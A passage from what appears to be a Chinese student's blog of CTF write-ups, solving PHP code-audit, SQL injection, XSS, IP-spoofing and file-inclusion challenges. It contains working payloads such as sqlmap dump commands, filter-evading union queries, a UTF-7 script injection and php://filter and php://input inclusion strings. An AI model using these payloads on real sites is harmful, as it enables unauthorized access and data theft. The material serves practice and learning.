if(eregi("hackerDJ",$_GET[id])) {\\get传参的id值不能等于hackerDJ
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);\\对id值进行一次解码
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

值得一提的是我们在网页输入url时已经进行了一次url解码,所以这里解码了两次得到的hackerDJ,所以我们传入的原始值应该是两次url编码后的hackerDJ
构造url: index.php?id=%2568ackerDJ
flag: DUTCTF{PHP_is_the_best_program_language}

Forms

打开链接后显示:
image
发现只有一个输入框,什么也没有,查看源代码,发现有一个隐藏的输入框:
image
这时按F12,修改type=”hidden”为”text”后就能看到输入框了,其中value=0,这时候还是不知道另外一个输入框该填什么,然后试着修改了一下value的值,令value=1,再提交一下,就看到进一步的提示了:
image
这时复制pin值到输入框里就拿到flag

简单的SQL注入2

试着先输入1,再输入1’,页面报语法错误,再输入1 ‘页面出现SQLi detected!,推出空格被它过滤了
用SQLmap跑一下
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –dbs
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –tables -D web1
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –dump -C flag -T flag -D web1
image

简单的SQL注入3

输入1,页面显示hello,输入1’,页面报错
sqlmap跑起来
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –dbs
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –tables -D web1
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –dump -C flag -T flag -D web1
image

简单的SQL注入

这道题也是sql注入,输入1,页面显示正常,输出1’,页面报错

之后通过输入查表字段,发现union select 被过滤了,这是想到用两个union表示

重复输入union select后发现空格也被过滤了,继续用两个空格代替一个空格
1.查询当前数据库

1’ unionunion selectselect database()’

2.查询数据库中的表

1’ unionunion selectselect table_name fromfrom information_schema.tables wherewhere ‘1’=’1

3.查询字段名

1’ unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name=’flag

4.最后构造出1’ unionunion selectselect flag fromfrom flag wherewhere ‘1’=’1
image

你真的会PHP吗?

抓包发现提示:
image
hint:6c525af4059b4fe7d8c33a.txt
打开发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php


$info = "";
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false);
error_reporting(0);


if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");

die("have a fun!!");
}

foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}


function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}


if(is_numeric($_REQUEST['number'])){//这里判断的是未经trim()和addslashes()处理过的变量

$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){

$info = "number must be equal to it's integer!! ";

}else{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}

}

echo $info;

POST的number需要满足以下条件:
1.不为空,且不能是一个数值型数字,包括小数。(由is_numeric函数判断)
2.不能是一个回文数。(is_palindrome_number判断)
3.该数的反转的整数值应该和它本身的整数值相等。
绕过方法:
1.利用intval函数溢出绕过
$number不是数字;$number==strval(intval($number));$number不是回文数

这里要看下操作系统,32位有符号数int范围-2147483648 ~ 2147483647;64位 - 9223372036854775808~9223372036854775807
可用payload
32位:2147483647%00;%002147483647;2147483647%20
64位:9223372036854775807%00;%009223372036854775807;9223372036854775807%20
%00可以放在数字前后,%20只能放在后面;这里的%00或者是%20可以将数字解释为字符串
2.用科学计数法构造0=0
因为要求不能为回文数,但又要满足intval($req[“number”])=intval(strrev($req[“number”])),所以我们采用科学计数法构造poc为number=0e-0%00,这样的话我们就可以绕过

iscc ctf题小记

ISCC CTF小计(更新中)

上周经班上同学说起,才知道最近有个信息安全竞赛,题目比较基础,就尝试着做了一下,做的不多

MISC

What is that?

下载附件,得到一张图片
image

看到手指指向的地方想到flag可能就在图片下面,根据经验,应该是修改图片宽度隐藏了flag

用winhex打开图片
这里就要了解一些png图片结构的一些知识了
推荐阅读分析PNG图像结构

找到表示图片长度宽度的十六进制码
image

00 00 02 72 是图片的宽度
00 00 01 F4 是图片的长度
明显图片长宽并不标准,我们将长度修改为00 00 02 72,保存 得到flag
image

数字密文

题目给了一串数字69742773206561737921
观察发现每一位都是在0到9之间,想到了十进制编码,百度搜了一下,看见了这篇文章实验吧的一道题
CTF—密码学入门第六题 古典密码
于是把密文改成了
&#69&#74&#27&#73&#20&#65&#61&#73&#79&#21用十进制解码发现是乱的,在想会不会是十六进制,用十六进制解码成功得到flag

秘密电报

压缩包解压得到
秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA
知识就是力量不是培根说的吗?培根密码无误
image
放到在线解密网站得到flag

重重谍影

打开网页
image
题目提示:刹那便是永恒。南无阿弥陀佛。想到了土豆文
再看看页面上的应该是base64码

多次解密得到一串不是base64的值(注意解码中的坑每次解码都需要将末尾的%3D,也就是“=”的url编码去掉),得到一串密文

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4%0AB5r
KClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z%0AiN+jkp
b6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc

刚开始不知道是什么,问了一下做出来的同学,才知道是AES加密,把%0A换成换行符,找一个在线AES解码的平台得到密文:

答案就是后面这句但已加密 缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗

是土豆文没错
与佛论禅
image

有趣的ISCC

又是一张图片
image
试了很多办法都没用,后面用winhex打开,发现文件尾部有一串Unicode编码

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

Unicode解码得到

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

再转一次得到flag:flag{iscc is fun}

凯撒十三世

提示:凯撒十三世在学会使用键盘后
密文:ebdgc697g95w3
猜测是凯撒密码加键盘密码
打开在线凯撒密码网站 移位数应该是13
刚开始以为是解密,解了半天什么都没有,结果是加密。。。加密得到 roqtp697t95j3
键盘密码:
我们注意到大键盘区所有的字母上面都有其对应的数字,这个位置几乎在所有的键盘都是相同的。所以我们可以利用这一点应用单表替换的方法进行加密:
1 2 3 4 5 6 7 8 9 0
Q W E R T Y U I O P
A S D F G H J K L
Z X C V B N M

我们根据上表可以得出,Q是1下面的第一个,A是1下面的第二个……以此类推,每一个字母都会有其对应的数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
A 12
B 53
C 33
D 32
E 31
F 42
G 52
H 62
I 81
J 72
K 82
L 92
M 73
N 63
O 91
P 01
Q 11
R 41
S 22
T 51
U 71
V 43
W 21
X 23
Y 61
Z 13

第一个数字代表横向(X坐标)的位置,第二个数字代表纵向(Y坐标)的位置。
得到flag:yougotme

web

比较数字大小

进去发现有一个输入框,随便输入一点
image
那输入数字吧 ,发现只能输入3位,提交
image
查看html代码发现

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
</head>
<body>
<form action="" method="post">
<input type="text" maxlength="3" name="v"/>
<input type="submit" value="提交"/>
</form>
</body>
</html>

数字太小了!

输入框限制了数字位数,修改

1
<input type="text" maxlength="10" name="v"/>

再输入一个较大的数,得到flag:key is 768HKyu678567&*&K

web01

此道为代码审计题

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

题目要求是get传参password,这里涉及到strcmp函数的漏洞

1
int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
该漏洞是用于php5.3之前的版本
该函数要求是上传字符串进行比较,当我们传入非法参数时,如数组,在php5.3之前函数会报错,return 0!刚好和两个字符串相等返回0的结果一样
于是我们在url中输入?password[]=1,利用数组是非法参数报错,得到flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}

本地的诱惑

提示:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?
只允许本地访问,那我们就用bp抓包伪造ip
推荐文章网络安全之IP伪造
添加X-Forwarded-For请求头,修改IP地址为127.0.0.1
image
得到flag
后面才发现。。。直接F12,flag就在html代码中。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta charset="utf-8" />
</head>
<body>

<?php
//print_r($_SERVER);
$arr=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if($arr[0]=='127.0.0.1'){
//key
echo "key is ISCC{^&*(UIHKJjkadshf}";
}else{
echo "必须从本地访问!";
}
?> </body>
</html>
你能跨过去吗?

提示:xss
题目:http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413
发现和实验吧的xss题有点类似
对网址进行转义,发现其中有段base64编码

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-&_=1302746925413

看到类似“+/v+ +ADwAcwBjAHIAaQBwA”想到了UTF-7编码
xssee 在线解码得到

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=+/v+ <script>alert("key:/%nsfocusXSStest%/")</script>-&_=1302746925413

将/%nsfocusXSStest%/输入提交框,弹出弹框:恭喜你!flag{Hell0World}

一切都是套路

提示:好像有个文件忘记删了&flag is here
应该是备份文件泄露
找到文件泄露地址
http://118.190.152.202:8009/index.php.txt
得到PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

又是代码审计
看到$$想到了变量覆盖漏洞,这类漏洞也常常和foreach联系在一起
post:flag=flag
get:?_200=flag
post传入变量使得flag变量的值为flag,绕过比较
get传参将flag变量的值赋值给_200,最后打印出来
得到flag:flag ISCC{taolu2333333….}

你能绕过吗?

刚开始以为是SQL注入,一直再瞎搞,后面经过朋友提示知道里是文件包含,PHP伪协议

推荐文章PHP伪协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(_
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(_
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

利用PHP://filter过滤器读取index.php的代码,刚开始测试点是id,发现应该不是这里,再测试了f:
http://118.190.152.202:8008/index.php?f=php://filter/read=convert.base64-encode/resource=index.php&id=4
image
报错。。。
后面发现过滤了php字符
修改:http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=4 (至于为什么要将index后面的.php删掉不太清楚)
后面看了代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<title>导航页</title>
<meta charset="UTF-8">
</head>
<body>
<a href='index.php?f=articles&id=1'>ID: 1</href>
</br>
<a href='index.php?f=articles&id=2'>ID: 2</href>
</br>
<a href='index.php?f=articles&id=3'>ID: 3</href>
</br>
<a href='index.php?f=articles&id=4'>ID: 4</href>
</br>
</body>
</html>

<?php
#ISCC{LFIOOOOOOOOOOOOOO}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}

?>

代码中过滤了php字符,并且会在f参数后加上.php,明白了

web2

提示:错误!你的IP不是本机ip!
应该还是IP伪造
试了最常见的几个伪造ip响应头文件都不行 X-Forwarded-For
X-Client-IP
X-Real-IP
CDN-Src-IP …
后面试了一下Client-IP ,成了
image

Please give me username and password!

页面显示:Please give me username or password!
那我们就get传参username和password先试一下
http://118.190.152.202:8017/?username=1&password=1000
查看代码发现

1
Username is not right<!--index.php.txt--><p>Password too long</p>

打开index.php.txt发现PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

1
2
3
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";

这一段要求flag变量值要与username参数值相同,我们可以利用strcasecmp函数传入非法参数报错返回0绕过

1
2
3
4
5
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';

这一段是要求password的长度要小于4,但是值却要大于999,这里我们可以用科学计数法绕过
构造http://118.190.152.202:8017/index.php/?username[]=1&password=9E9
得到flag:flag{ISCC2018_Very_GOOD!}

php是世界上最好的语言

又是一道代码审计的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>

要求的是post传入username和password两个参数,password参数的md5值要等于0
推荐文章PHP处理0e开头md5哈希字符串缺陷/bug
输入框输入username=1,password=QNKCDZO得到

1
2
3
4
5
6
7
8
9
NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
str_replace("{","",$a);
str_replace("}","",$a);
@eval("var_dump($$a);");
show_source(__FILE__);

?>

这里又是$$变量覆盖漏洞使用全局数组变量GLOBALS打印出所有变量值
http://118.190.152.202:8005/no_md5.php?a=GLOBALS
image

SQL注入的艺术

找到个人信息处应该是宽字节注入,http://118.190.152.202:8015/index.php?id=1%27%df
利用SQLmap得到flag

变量覆盖漏洞

变量覆盖漏洞

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值
推荐阅读代码审计|变量覆盖漏洞

1.exartact函数

exartact()函数的作用是从传入数组中将变量导入当前符号表中,键名是变量名,键值是变量值。

注:符号表是记录符号属性的表,它的每一表项表示一个标识符的属性信息.这些属性信息通常包括种类(常数,变量,数组,标号等),类型(整型,实型,逻辑型,字符型等),给名字分配的存储单元地址等。

该函数有三个参数var_array(必须,规定输入)、extract_type(可选,检查每个键名是否为合法变量)、prefix

该函数出现变量覆盖漏洞通常有两种情况:
(1)二参为EXTR_OVERWRITE,它表示有冲突时覆盖已有变量
(2)只有一参,默认二参为EXTR_OVERWRITE

这道变量覆盖的ctf题中,extract函数是获取post传参后的以数组形式传入符号表,我们post传入pass=0&thepassword_123=0,将thepassword_123变量值赋值为0

2.parse_str函数

该函数作用是解析字符串并且注册成变量,在注册变量之前不会验证变量是否已经存在,直接覆盖
语法:
parse_str(string,array)

1
2
3
4
5
<?php
$b=1;
parse_str('b=2');
print_r(%$b);
?>

输出的b的值变为了2

例:某ctf

1
2
3
4
5
 $id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
PAYLOAD: ?id=a[0]=240610708

3.import_request_variables函数

该函数是把GET,POST,COOKIE的参数注册为变量,用在register_globals被禁止的时候

1
bool import_request_variables ( string $types [, string $prefix ] )

  $type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀
  

1
2
3
4
5
<?php
$a = 1; //原变量值为1
import_request_variables('GP'); //传入参数时注册变量
print_r($a); //输出结果为2
?>

4.$$变量覆盖

$$常常用在foreach函数中
例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

//?name=test

//output:string(4) “name” string(4) “test” string(4) “test” test

$name=’thinking’;

foreach ($_GET as $key => $value)

$$key = $value;#$key=name,$$key=$name

var_dump($key);


var_dump($value);

var_dump($$key);

echo $name;#会输出test

?>

foreach函数将get参数存入数组,我们构造payload:index.php?name=meizijiu233,name作为变量存入,$$key=$name=meizijiu233;判断通过

代码审计类ctf记录

1.php strcmp()漏洞

1
int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
该漏洞是用于php5.3之前的版本
该函数要求是上传字符串进行比较,当我们传入非法参数时,如数组,在php5.3之前函数会报错,return 0!刚好和两个字符串相等返回0的结果一样

1
2
3
4
5
6
7
8
9
10
11
12
13
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

payload:pass[]=1

2.php://输入输出流

输入输出流主要包括三种:
php://input:直接读取post上没有经过解析的原始数据

php://output:将post流数据输出

php://filter:(常用在XXE漏洞中)文件操作协议,对磁盘文件进行读写,类似于readflie()、file()、flie_get_conments()

image

1
2
3
$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;

这道题要的是获取flie传入的文件,提取内容与meizijiu进行比较,我们可以利用php://input
image

3.进制转换绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

这段代码要的是get参数key的值与54975581388相等,但是每一位字符串的assic码要在0到9之外,这里我们可以将54975581388十六进制转码成0xccccccccc绕过

又一道题
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
you are not the number of bugku !   

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

这里要求传入是三个参数txt、file、password

  • txt:txt参数传给了user变量,file_get_contents($user,’r’)===”welcome to the bugkuctf”,这里我们可以用到php输入流post传值
  • flie:刚开始我以为因为是include()函数我直接将file=hint.php就可以得出hint.php的值,这里没有考考虑到hint.php的路径问题,所以我们应该使用php://filter
  • password:这里没有对passwor进行限制,可以随意处置
    payload:?txt=php://input&file=php://filter/content.base64-encode/resoursce=hint.php
    post:welcome to the bugkuctf
    得到一个base64的代码,解码得到
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

我再次用PHP://filter读取flag.php,它告诉我不能现在就给我flag,后面就搞不懂了

4.超全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ #判断args参数是否存在
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){#用正则判断看srgs变量中是否有字母及数字,有函数返回1,否0,所以这里让你只能输入字母和数字
die("args error!");
}
eval("var_dump($$args);");
}
?>

这道题的关键是var_dump函数输出变量的类型和内容,这里就要抠脑壳了,怎么知道flag在哪个变量
看书才发现可以使用$GLOBALS超全局数组调用系统中的所有变量和常量以及对象和对象中的属性变量值
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP在名为\$GLOBALS[index]的数组中存储了所有全局变量。变量的名字就是数组的键。
这样我们就给变量赋值args=GLOBALS,使变量为存储了所有变量的数字

5.变量覆盖+php输入输出流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);#存在变量覆盖漏洞
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));#看到file_get_contents想到PHP://输入输出
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

因为这两种漏洞都写了,只是记住了一道题可以运用多种方法混合区解答
image
get传参利用了变量覆盖,将shiyan与content都赋值为0从而绕过,但是由于在覆盖变量之后,会给content重新赋值,所以看到了file_get_contents函数,想到了PHP输入流post传参,通过修改flag的值将content值进行修改

6.URLencode二次编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("

not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "

Access granted!
";
echo "

flag
";
}

首先eregi函数在id参数中查找有没有hackerDJ字符,有则返回0,所以这里我们不能直接赋值hackerDJ,题目提示了二次编码,这里的get传参时已经进行了一次urldecode解码,后面又通过urldecode函数进行了二次解码,所以经过上面这些提示,就是对hackerDJ进行urlencode二次编码,传入参数就是hackerDJ,又到了抠脑壳的时候,为什么hackerDJ用工具编码后还是不变,看了人家的解答后才知道这种纯字符是不能用工具解码的,要对照编码表解码
image
image

7.数组返回NULL绕过or%00截断

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

ereg函数查找password

8.一道综合题

never never never give up!!!
这道题点开源码发现提示

1
2
<!--1p.html-->
never never never give up !!!

于是打开1p.html,但是发现重定向了,于是直接view-source:得到一串base64编码的代码

1
JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==

解码得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>

这里设置了三个get参数id、a、b,分别对应了三种不同的代码绕过机制

  • id:关于id的值id==0,并不是说是字符零,而是数字0,所以我们只需要给id赋值一个无数字字符串,无数字字符串在比较时会强制类型转换为数字0
  • a:a必须为“bugku is a nice plateform!”首先一个stripos($a,’.’)函数,限制了a不能从外部引用文件,但又出现了file_get_contents,我们想到了input输入流的形式进行post传参
  • b:b的长度通过strlen($b)>5限制为5以内,eregi(“111”.substr($b,0,1),”1114”)表示b中必须要有4,但是substr($b,0,1)!=4,所以我们想到了%00截断

构造payload:?id=@&a=php://input&b=%0044444 ,
post:bugku is a nice plateform!

9.正则表达式匹配

1
2
3
4
5
6
7
8
 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

这道题考察的是正则表达式的匹配

/key.key.{4,7}key:\/.\/(.key)[a-z][[:punct:]]/i

首先是一个字符串key,后面.表示匹配除/n之外的所有单字符,*表示前面的单字符重复0次或多次,.{4,7}又表示重复除/n以外的单字符4到7次,后面再跟字符串key:,这里\/将/转义,后面(.*key)就是单字符+key,[a-z]表示从中选一个字母,[[:punct:]]表示匹配标点符号
payload:?id=key.key…..key:/./.keya;

10.INSERT INTO注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);#没有报错回显

function getIp(){#获取真实ip
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){#先查看X-Forworded-For头是否设置,取其值
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);#将ip变量中的字符串以,为间隔打散成数组
return $ip_arr[0];#所以后面构造sql语句时不能出现,

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");#链接数据库

mysql_select_db($db) or die("Unable to select database");#查询数据库

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')" ;#向client_ip表中插入变量ip的值
mysql_query($sql);

python爬虫学习1

前提

  1. 最先肯定要复习一下正则不定式,当然还可以用XPath语言去替代正则 教程
    image

  2. 爬虫调度端:启动爬虫,停止爬虫,监视爬虫运行情况
    URL管理器:对将要爬取的和已经爬取过的URL进行管理;可取出带爬取的URL,将其传送给“网页下载器”
    网页下载器:将URL指定的网页下载,存储成一个字符串,在传送给“网页解析器”
